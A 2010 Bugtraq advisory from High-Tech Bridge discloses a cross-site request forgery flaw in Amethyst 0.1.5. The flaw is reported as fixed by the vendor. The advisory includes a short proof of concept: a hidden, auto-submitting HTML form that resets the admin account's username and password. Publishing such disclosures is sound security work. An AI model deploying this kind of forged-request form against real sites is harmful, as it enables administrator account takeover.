bugtraq - XSRF (CSRF) in Amethyst

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Message-Id: <201008051355.o75DtEIO089092@htbridge.ch>
Date: Thu, 5 Aug 2010 15:55:14 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSRF (CSRF) in Amethyst

Vulnerability ID: HTB22500
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_amethyst.html
Product: Amethyst
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst ) 
Vulnerable Version: 0.1.5 and Probably Prior Versions
Vendor Notification: 22 July 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Fixed by Vendor
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the user updating script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/update_user/1" method="post" name="main" >
<input type="hidden" name="user[username]" value="admin" />
<input type="hidden" name="user[first_name]" value="First Name" />
<input type="hidden" name="user[last_name]" value="Last Name" />
<input type="hidden" name="user[password]" value="1234" />
<input type="hidden" name="user[password_confirmation]" value="1234" />
<input type="hidden" name="commit" value="Update" />
</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version